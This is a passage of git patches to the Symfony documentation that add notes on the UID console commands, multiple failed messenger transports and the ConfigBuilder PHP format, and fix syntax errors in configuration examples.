+++ b/reference/configuration/framework.rst
@@ -1247,11 +1247,18 @@ only_exceptions
 When this is set to ``true``, the profiler will only be enabled when an
 exception is thrown during the handling of the request.
 
+.. _only_master_requests:
+
 only_main_requests
 ..................
 
 **type**: ``boolean`` **default**: ``false``
 
+.. versionadded:: 5.3
+
+    The ``only_main_requests`` option was introduced in Symfony 5.3. In previous
+    versions it was called ``only_master_requests``.
+
 When this is set to ``true``, the profiler will only be enabled on the main
 requests (and not on the subrequests).
 

From 017ecd7f08cd8a8861edddf42b5291ddae1fa65f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Apr 2021 16:49:40 +0200
Subject: [PATCH 0748/5766] Tweak

---
 components/validator/resources.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 91809ec7097..c807ec1e540 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -106,8 +106,9 @@ prefixed classes included in doc block comments (``/** ... */``). For example::
     }
 
 To enable the annotation loader, call the
-:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping` method.
-``addDefaultDoctrineAnnotationReader`` must also be called to use ``Doctrine\Common\Annotations\AnnotationReader``::
+:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping` method
+and then call ``addDefaultDoctrineAnnotationReader()`` to use Doctrine's
+annotation reader::
 
     use Symfony\Component\Validator\Validation;
 

From 2b0c05cc6eda6f7a7f21bdec448be5af8367e894 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Apr 2021 10:04:17 +0200
Subject: [PATCH 0749/5766] [Uid] Document the methods to generate and inspect
 UIDs

---
 components/uid.rst | 110 +++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 110 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index 1bf66021fe1..f86e68ee129 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -370,6 +370,116 @@ of the ULID parameters::
         }
     }
 
+Generating and Inspecting UUIDs/ULIDs in the Console
+----------------------------------------------------
+
+.. versionadded:: 5.3
+
+    The commands to inspect and generate UUIDs/ULIDs were introduced in Symfony 5.3.
+
+This component provides several commands to generate and inspect UUIDs/ULIDs in
+the console. They are not enabled by default, so you must add the following
+configuration in your application before using these commands:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            Symfony\Component\Uid\Command\GenerateUlidCommand: ~
+            Symfony\Component\Uid\Command\GenerateUuidCommand: ~
+            Symfony\Component\Uid\Command\InspectUlidCommand: ~
+            Symfony\Component\Uid\Command\InspectUuidCommand: ~
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <service id="Symfony\Component\Uid\Command\GenerateUlidCommand"/>
+                <service id="Symfony\Component\Uid\Command\GenerateUuidCommand"/>
+                <service id="Symfony\Component\Uid\Command\InspectUlidCommand"/>
+                <service id="Symfony\Component\Uid\Command\InspectUuidCommand"/>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\Uid\Command\GenerateUlidCommand;
+        use Symfony\Component\Uid\Command\GenerateUuidCommand;
+        use Symfony\Component\Uid\Command\InspectUlidCommand;
+        use Symfony\Component\Uid\Command\InspectUuidCommand;
+
+        return static function (ContainerConfigurator $configurator): void {
+            // ...
+
+            $services
+                ->set(GenerateUlidCommand::class)
+                ->set(GenerateUuidCommand::class)
+                ->set(InspectUlidCommand::class)
+                ->set(InspectUuidCommand::class);
+        };
+
+Now you can generate UUIDs/ULIDs as follows (add the ``--help`` option to the
+commands to learn about all their options):
+
+.. code-block:: terminal
+
+    # generate 1 random-based UUID
+    $ php bin/console uuid:generate --random-based
+
+    # generate 1 time-based UUID with a specific node
+    $ php bin/console uuid:generate --time-based=now --node=fb3502dc-137e-4849-8886-ac90d07f64a7
+
+    # generate 2 UUIDs and output them in base58 format
+    $ php bin/console uuid:generate --count=2 --format=base58
+
+    # generate 1 ULID with the current time as the timestamp
+    $ php bin/console ulid:generate
+
+    # generate 1 ULID with a specific timestamp
+    $ php bin/console ulid:generate --time="2021-02-02 14:00:00"
+
+    # generate 2 ULIDs and ouput them in RFC4122 format
+    $ php bin/console ulid:generate --count=2 --format=rfc4122
+
+In addition to generating new UIDs, you can also inspect them with the following
+commands to show all the information for a given UID:
+
+.. code-block:: terminal
+
+    $ php bin/console uuid:inspect d0a3a023-f515-4fe0-915c-575e63693998
+     ---------------------- --------------------------------------
+      Label                  Value
+     ---------------------- --------------------------------------
+      Version                4
+      Canonical (RFC 4122)   d0a3a023-f515-4fe0-915c-575e63693998
+      Base 58                SmHvuofV4GCF7QW543rDD9
+      Base 32                6GMEG27X8N9ZG92Q2QBSHPJECR
+     ---------------------- --------------------------------------
+
+    $ php bin/console ulid:inspect 01F2TTCSYK1PDRH73Z41BN1C4X
+     --------------------- --------------------------------------
+      Label                 Value
+     --------------------- --------------------------------------
+      Canonical (Base 32)   01F2TTCSYK1PDRH73Z41BN1C4X
+      Base 58               1BYGm16jS4kX3VYCysKKq6
+      RFC 4122              0178b5a6-67d3-0d9b-889c-7f205750b09d
+     --------------------- --------------------------------------
+      Timestamp             2021-04-09 08:01:24.947
+     --------------------- --------------------------------------
+
 .. _`unique identifiers`: https://en.wikipedia.org/wiki/UID
 .. _`UUIDs`: https://en.wikipedia.org/wiki/Universally_unique_identifier
 .. _`ULIDs`: https://github.com/ulid/spec

From baf915466a2eea9fa855df0bf342b2373c1badf4 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 16 Apr 2021 20:00:07 +0200
Subject: [PATCH 0750/5766] Fixing syntax error in PHP, XML and Yaml examples

---
 cache.rst                                   |  2 +-
 components/console/helpers/table.rst        |  2 +-
 configuration/using_parameters_in_dic.rst   |  4 +--
 form/inherit_data_option.rst                | 30 +++++++++++++--------
 http_client.rst                             |  2 +-
 messenger.rst                               |  2 +-
 messenger/multiple_buses.rst                |  6 ++---
 reference/configuration/doctrine.rst        |  4 +--
 reference/configuration/framework.rst       |  2 +-
 reference/configuration/security.rst        |  4 +--
 reference/constraints/IsFalse.rst           |  8 +++---
 security/custom_authentication_provider.rst |  4 +--
 security/form_login_setup.rst               |  4 +--
 security/ldap.rst                           |  6 ++---
 security/named_encoders.rst                 |  2 +-
 security/remember_me.rst                    |  2 +-
 security/user_provider.rst                  |  5 ++--
 service_container.rst                       |  1 -
 service_container/alias_private.rst         |  4 +--
 service_container/autowiring.rst            |  1 +
 service_container/tags.rst                  |  2 +-
 templates.rst                               |  7 +++--
 workflow/dumping-workflows.rst              |  3 +--
 23 files changed, 59 insertions(+), 48 deletions(-)

diff --git a/cache.rst b/cache.rst
index 42a22ca55e3..12125402e0d 100644
--- a/cache.rst
+++ b/cache.rst
@@ -373,7 +373,7 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
 
                 $services->set('app.cace.adapter.redis')
                     ->parent('cache.adapter.redis')
-                    ->tag('cache.pool', ['namespace' => 'my_custom_namespace'])
+                    ->tag('cache.pool', ['namespace' => 'my_custom_namespace']);
             };
 
 Custom Provider Options
diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index 0e8df0d1031..45336c1175e 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -305,7 +305,7 @@ This results in:
         $table->setHeaders([
             [new TableCell('Main table title', ['colspan' => 3])],
             ['ISBN', 'Title', 'Author'],
-        ])
+        ]);
         // ...
 
     This generates:
diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst
index c81fcf7fa14..329061a137f 100644
--- a/configuration/using_parameters_in_dic.rst
+++ b/configuration/using_parameters_in_dic.rst
@@ -77,8 +77,8 @@ Now, examine the results to see this closely:
         $container->loadFromExtension('my_bundle', [
                 'logging' => true,
                 // true, as expected
-            )
-        ];
+            ]
+        );
 
         $container->loadFromExtension('my_bundle', [
                 'logging' => "%kernel.debug%",
diff --git a/form/inherit_data_option.rst b/form/inherit_data_option.rst
index f4161a21111..083e415aac4 100644
--- a/form/inherit_data_option.rst
+++ b/form/inherit_data_option.rst
@@ -129,15 +129,20 @@ Finally, make this work by adding the location form to your two original forms::
     namespace App\Form\Type;
 
     use App\Entity\Company;
+    use Symfony\Component\Form\AbstractType;
+
     // ...
 
-    public function buildForm(FormBuilderInterface $builder, array $options): void
+    class CompanyType extends AbstractType
     {
-        // ...
+        public function buildForm(FormBuilderInterface $builder, array $options): void
+        {
+            // ...
 
-        $builder->add('foo', LocationType::class, [
-            'data_class' => Company::class,
-        ]);
+            $builder->add('foo', LocationType::class, [
+                'data_class' => Company::class,
+            ]);
+        }
     }
 
 .. code-block:: php
@@ -146,15 +151,18 @@ Finally, make this work by adding the location form to your two original forms::
     namespace App\Form\Type;
 
     use App\Entity\Customer;
-    // ...
+    use Symfony\Component\Form\AbstractType;
 
-    public function buildForm(FormBuilderInterface $builder, array $options): void
+    class CustomerType extends AbstractType
     {
-        // ...
+        public function buildForm(FormBuilderInterface $builder, array $options): void
+        {
+            // ...
 
-        $builder->add('bar', LocationType::class, [
-            'data_class' => Customer::class,
-        ]);
+            $builder->add('bar', LocationType::class, [
+                'data_class' => Customer::class,
+            ]);
+        }
     }
 
 That's it! You have extracted duplicated field definitions to a separate
diff --git a/http_client.rst b/http_client.rst
index a71d4ab604b..da1595dbac7 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -428,7 +428,7 @@ each request (which overrides any global authentication):
                         auth-bearer="the-bearer-token"
                         auth-ntlm="the-username:the-password"
                     />
-                </framework-http-client>
+                </framework:http-client>
             </framework:config>
         </container>
 
diff --git a/messenger.rst b/messenger.rst
index 70944b9a2d0..526017c0093 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1219,7 +1219,7 @@ this globally (or for each transport) to a service that implements
                 ],
                 'transports' => [
                     'async_priority_normal' => [
-                        'dsn' => // ...
+                        'dsn' => ...,
                         'serializer' => 'messenger.transport.symfony_serializer',
                     ],
                 ],
diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index c79aeb7b2b7..240e9cdc6cc 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -56,13 +56,13 @@ an **event bus**. The event bus could have zero or more subscribers.
                     <framework:bus name="command.bus">
                         <framework:middleware id="validation"/>
                         <framework:middleware id="doctrine_transaction"/>
-                    <framework:bus>
+                    </framework:bus>
                     <framework:bus name="query.bus">
                         <framework:middleware id="validation"/>
-                    <framework:bus>
+                    </framework:bus>
                     <framework:bus name="event.bus" default-middleware="allow_no_handlers">
                         <framework:middleware id="validation"/>
-                    <framework:bus>
+                    </framework:bus>
                 </framework:messenger>
             </framework:config>
         </container>
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index cf49aaaa2b9..3d2435e73a0 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -327,7 +327,7 @@ directory instead:
 
     .. code-block:: xml
 
-        <?xml version="1.0" charset="UTF-8" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
@@ -378,7 +378,7 @@ namespace in the ``src/Entity`` directory and gives them an ``App`` alias
 
     .. code-block:: xml
 
-        <?xml version="1.0" charset="UTF-8" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 55f68325ac5..a55b9816a6e 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2751,7 +2751,7 @@ To configure a Redis cache pool with a default lifetime of 1 hour, do the follow
                     <framework:pool
                         name="cache.mycache"
                         adapter="cache.adapter.redis"
-                        default-lifetime=3600
+                        default-lifetime="3600"
                     />
                 </framework:cache>
                 <!-- ... -->
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 399794e2402..34416786207 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -167,7 +167,7 @@ encoding algorithm. Also, each algorithm defines different config options:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" charset="UTF-8" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -716,7 +716,7 @@ multiple firewalls, the "context" could actually be shared:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" charset="UTF-8" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index 63f1364024c..515f5635172 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -100,11 +100,11 @@ method returns **false**:
                     'message' => "You've entered an invalid state.",
                 ]));
             }
-        }
 
-        public function isStateInvalid()
-        {
-            // ...
+            public function isStateInvalid()
+            {
+                // ...
+            }
         }
 
 .. include:: /reference/constraints/_null-values-are-valid.rst.inc
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index 920c8315f05..f7f377af617 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -422,7 +422,7 @@ to service ids that may not exist yet: ``App\Security\Authentication\Provider\Ws
 
     .. code-block:: php
 
-         // config/services.php
+        // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
         use App\Security\Authentication\Provider\WsseProvider;
@@ -563,7 +563,7 @@ in order to put it to use::
 
     // src/DependencyInjection/Security/Factory/WsseFactory.php
     namespace App\DependencyInjection\Security\Factory;
-    
+
     use App\Security\Authentication\Provider\WsseProvider;
 
     class WsseFactory implements SecurityFactoryInterface
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index d78a415ff34..3e6a20d8140 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -107,7 +107,7 @@ Edit the ``security.yaml`` file in order to declare the ``/logout`` path:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" charset="UTF-8" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -319,7 +319,7 @@ a traditional HTML form that submits to ``/login``:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" charset="UTF-8" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/ldap.rst b/security/ldap.rst
index 3b5b549e7ec..63c0b406f06 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -198,7 +198,7 @@ use the ``ldap`` user provider.
                     ],
                 ],
             ],
-        ];
+        ]);
 
 .. caution::
 
@@ -414,7 +414,7 @@ Configuration example for form login
                     ],
                 ],
             ]
-        ];
+        ]);
 
 Configuration example for HTTP Basic
 ....................................
@@ -471,7 +471,7 @@ Configuration example for HTTP Basic
                     'stateless' => true,
                 ],
             ],
-        ];
+        ]);
 
 Configuration example for form login and query_string
 .....................................................
diff --git a/security/named_encoders.rst b/security/named_encoders.rst
index 22bc333dec4..a5a82bc7021 100644
--- a/security/named_encoders.rst
+++ b/security/named_encoders.rst
@@ -33,7 +33,7 @@ to apply to all instances of a specific class:
                 <!-- ... -->
                 <encoder class="App\Entity\User"
                     algorithm="auto"
-                    cost=12
+                    cost="12"
                 />
             </config>
         </srv:container>
diff --git a/security/remember_me.rst b/security/remember_me.rst
index a2fa1bcda96..631a6528e43 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -263,7 +263,7 @@ so ``DoctrineTokenProvider`` can store the tokens:
 
         .. code-block:: xml
 
-            # config/packages/doctrine.xml
+            <!-- config/packages/doctrine.xml -->
             <doctrine:dbal schema-filter="~^(?!rememberme_token)~"/>
 
         .. code-block:: php
diff --git a/security/user_provider.rst b/security/user_provider.rst
index 07227868afe..bd5b9fb27b0 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -44,6 +44,7 @@ to retrieve them:
     .. code-block:: yaml
 
         # config/packages/security.yaml
+        security:
             # ...
 
             providers:
@@ -138,7 +139,7 @@ interface only requires one method: ``loadUserByUsername($username)``::
         public function loadUserByUsername($usernameOrEmail)
         {
             $entityManager = $this->getEntityManager();
-            
+
             return $entityManager->createQuery(
                     'SELECT u
                     FROM App\Entity\User u
@@ -413,7 +414,7 @@ command will generate a nice skeleton to get you started::
         {
             return User::class === $class || is_subclass_of($class, User::class);
         }
-        
+
         /**
          * Upgrades the encoded password of a user, typically for using a better hash algorithm.
          */
diff --git a/service_container.rst b/service_container.rst
index fec082a377c..21aa508b897 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1033,7 +1033,6 @@ for classes under the same namespace:
             <services>
                 <prototype namespace="App\Domain"
                     resource="../src/App/Domain/*"/>
-                </prototype>
 
                 <!-- ... -->
             </services>
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index f202ce8d277..9dd7ac41c4e 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -269,7 +269,7 @@ The following example shows how to inject an anonymous service into another serv
             $services = $configurator->services();
 
             $services->set(Foo::class)
-                ->args([inline(AnonymousBar::class)])
+                ->args([inline(AnonymousBar::class)]);
         };
 
 .. note::
@@ -320,7 +320,7 @@ Using an anonymous service as a factory looks like this:
             $services = $configurator->services();
 
             $services->set(Foo::class)
-                ->factory([inline(AnonymousBar::class), 'constructFoo'])
+                ->factory([inline(AnonymousBar::class), 'constructFoo']);
         };
 
 Deprecating Services
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 04058c6b9ac..bb08f8b6516 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -526,6 +526,7 @@ the injection::
                 // want to use a named autowiring alias, wire it manually:
                 //     ->arg('$transformer', ref(UppercaseTransformer::class))
                 // ...
+            ;
         };
 
 Thanks to the ``App\Util\TransformerInterface`` alias, any argument type-hinted
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 76d4cb9792e..20a58e379e4 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -847,7 +847,7 @@ array element. For example, to retrieve the ``handler_two`` handler::
                     https://symfony.com/schema/dic/services/services-1.0.xsd">
 
                 <services>
-                    <!-- ... --!>
+                    <!-- ... -->
 
                     <service id="App\HandlerCollection">
                         <!-- use getIndex() instead of getDefaultIndexName() -->
diff --git a/templates.rst b/templates.rst
index 09314868c2d..5a72407d582 100644
--- a/templates.rst
+++ b/templates.rst
@@ -553,9 +553,12 @@ also provides a method to check for template existence. First, get the loader::
     // in a service using autowiring
     use Twig\Environment;
 
-    public function __construct(Environment $twig)
+    class YourService
     {
-        $loader = $twig->getLoader();
+        public function __construct(Environment $twig)
+        {
+            $loader = $twig->getLoader();
+        }
     }
 
 Then, pass the path of the Twig template to the ``exists()`` method of the loader::
diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index 1611082c6f4..8a537e71415 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -63,7 +63,7 @@ You can use ``metadata`` with the following keys to style the workflow:
 
   * ``bg_color``: a color;
   * ``description``: a string that describes the state.
-  
+
 * for transitions:
 
   * ``label``: a string that replaces the name of the transition;
@@ -169,7 +169,6 @@ Below is the configuration for the pull request state machine with styling added
                             <framework:bg_color>DeepSkyBlue</framework:bg_color>
                         </framework:metadata>
                     </framework:place>
-                    </framework:place>
 
                     <framework:transition name="submit">
                         <framework:from>start</framework:from>

From d784895ac3995c4999b0e5a31554d709cd8417e7 Mon Sep 17 00:00:00 2001
From: Hugo Monteiro <hugo.monteiro@gmail.com>
Date: Sat, 4 Apr 2020 19:28:30 +0100
Subject: [PATCH 0751/5766] [Messenger] Multiple failed transports

---
 messenger.rst | 104 ++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 104 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 77e0ae8f8e2..ae53e5d734b 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -865,6 +865,110 @@ If the message fails again, it will be re-sent back to the failure transport
 due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max
 retry has been hit, the message will be discarded permanently.
 
+Multiple Failed Transports
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Sometimes it is not enough to have a single, global ``failed transport`` configured
+because some messages are more important than others. In those cases, you can
+override the failure transport for only specific transports:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                # after retrying, messages will be sent to the "failed" transport 
+                # by default if no "failed_transport" is configured inside a transport 
+                failure_transport: failed_default
+
+                transports:
+                    async_priority_high:
+                        dsn: '%env(MESSENGER_TRANSPORT_DSN)%'
+                        failure_transport: failed_high_priority
+
+                    # since no failed transport is configured, the one used will be
+                    # the global "failure_transport" set
+                    async_priority_low:
+                        dsn: 'doctrine://default?queue_name=async_priority_low'
+
+                    failed_default: 'doctrine://default?queue_name=failed_default'
+                    failed_high_priority: 'doctrine://default?queue_name=failed_high_priority' 
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- after retrying, messages will be sent to the "failed" transport 
+                by default if no "failed-transport" is configured inside a transport -->
+                <framework:messenger failure-transport="failed_default">
+                    <framework:transport name="async_priority_high" dsn="%env(MESSENGER_TRANSPORT_DSN)%" failure-transport="failed_high_priority"/> 
+                    <!-- since no "failed_transport" is configured, the one used will be
+                    the global "failed_transport" set -->
+                    <framework:transport name="async_priority_low" dsn="doctrine://default?queue_name=async_priority_low"/>
+                    
+                    <framework:transport name="failed_default" dsn="doctrine://default?queue_name=failed_default"/>
+                    <framework:transport name="failed_high_priority" dsn="doctrine://default?queue_name=failed_high_priority"/>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        $container->loadFromExtension('framework', [
+            'messenger' => [
+                // after retrying, messages will be sent to the "failed" transport 
+                // by default if no "failure_transport" is configured inside a transport
+                'failure_transport' => 'failed_default',
+
+                'transports' => [
+                    'async_priority_high' => [
+                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
+                        'failure_transport' => 'failed_high_priority'
+                    ],
+                    // since no failed transport is configured, the one used will be
+                    // the global failure_transport set 
+                    'async_priority_low' => [
+                        'dsn' => 'doctrine://default?queue_name=async_priority_low',
+                    ],
+                    'failed_default' => [
+                        'dsn' => 'doctrine://default?queue_name=failed_default',
+                    ],
+                    'failed_high_priority' => [
+                        'dsn' => 'doctrine://default?queue_name=failed_high_priority',
+                    ],
+                ],
+            ],
+        ]);
+
+If there is no ``failure_transport`` defined globally or on the transport level,
+the messages will be discarded after the number of retries.
+
+The failed commands have an optional option ``--transport`` to specify
+the ``failure_transport`` configured at the transport level.
+
+.. code-block:: terminal
+
+    # see all messages in "failure_transport" transport
+    $ php bin/console messenger:failed:show --transport=failure_transport
+
+    # retry specific messages from "failure_transport"
+    $ php bin/console messenger:failed:retry 20 30 --transport=failure_transport --force
+
+    # remove a message without retrying it from "failure_transport"
+    $ php bin/console messenger:failed:remove 20 --transport=failure_transport
+
 .. _messenger-transports-config:
 
 Transport Configuration

From 496a282b76a5e1cb1d9031794ae8f83814e33c6a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Apr 2021 17:59:15 +0200
Subject: [PATCH 0752/5766] Added the versionadded directive

---
 messenger.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 2cb3361c483..4a68b0dc2a7 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -875,6 +875,10 @@ retry has been hit, the message will be discarded permanently.
 Multiple Failed Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
+.. versionadded:: 5.3
+
+    The possibility to use multiple failed transports was introduced in Symfony 5.3.
+
 Sometimes it is not enough to have a single, global ``failed transport`` configured
 because some messages are more important than others. In those cases, you can
 override the failure transport for only specific transports:

From 46e97802adfe5f6b28f4e089ec5a055b3af60304 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 20 Apr 2021 19:01:15 +0200
Subject: [PATCH 0753/5766] Adding default value for verify_peer

It's also missing for verify_host - but I don't know the default value there ;-)
---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index a55b9816a6e..6ea1c37f439 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1046,7 +1046,7 @@ combined with ``verify_peer`` to also verify the certificate authenticity.
 verify_peer
 ...........
 
-**type**: ``boolean``
+**type**: ``boolean`` **default**: ``true``
 
 If ``true``, the certificate sent by other servers when negotiating a TLS or SSL
 connection is verified for authenticity. Authenticating the certificate is not

From 8680173ac5339cbecdaab3444f3425551e627ab7 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Mon, 19 Apr 2021 18:08:33 +0200
Subject: [PATCH 0754/5766] Start using ConfigBuilder

---
 forms.rst      | 20 ++++++++++----------
 routing.rst    | 11 +++++------
 serializer.rst | 11 +++++------
 session.rst    | 32 ++++++++++++++++++--------------
 templates.rst  | 38 +++++++++++++++++++++-----------------
 5 files changed, 59 insertions(+), 53 deletions(-)

diff --git a/forms.rst b/forms.rst
index c5e41222104..b6c63773452 100644
--- a/forms.rst
+++ b/forms.rst
@@ -345,13 +345,13 @@ can set this option to generate forms compatible with the Bootstrap 4 CSS framew
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
-                'bootstrap_4_layout.html.twig',
-            ],
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes(['bootstrap_4_layout.html.twig']);
 
             // ...
-        ]);
+        };
 
 The :ref:`built-in Symfony form themes <symfony-builtin-forms>` include
 Bootstrap 3 and 4 as well as Foundation 5 and 6. You can also
@@ -627,11 +627,11 @@ these new messages set the ``legacy_error_messages`` option to ``false``:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'form' => [
-                'legacy_error_messages' => false,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->form()->legacyErrorMessages(false);
+        };
 
 Other Common Form Features
 --------------------------
diff --git a/routing.rst b/routing.rst
index 9aad1ac3c58..487d2ecc587 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2508,12 +2508,11 @@ The solution is to configure the ``default_uri`` option to define the
     .. code-block:: php
 
         // config/packages/routing.php
-        $container->loadFromExtension('framework', [
-            'router' => [
-                // ...
-                'default_uri' => "https://example.org/my/path/",
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->router()->defaultUri('https://example.org/my/path/');
+        };
 
 .. versionadded:: 5.1
 
diff --git a/serializer.rst b/serializer.rst
index 980bf5708ab..8cae58c5838 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -259,12 +259,11 @@ value:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            // ...
-            'serializer' => [
-                'name_converter' => 'serializer.name_converter.camel_case_to_snake_case',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->serializer()->nameConverter('serializer.name_converter.camel_case_to_snake_case');
+        };
 
 Going Further with the Serializer
 ---------------------------------
diff --git a/session.rst b/session.rst
index 5a3fb69c09b..8f3fba95b30 100644
--- a/session.rst
+++ b/session.rst
@@ -55,18 +55,20 @@ sessions, check their default configuration:
     .. code-block:: php
 
         // config/packages/framework.php
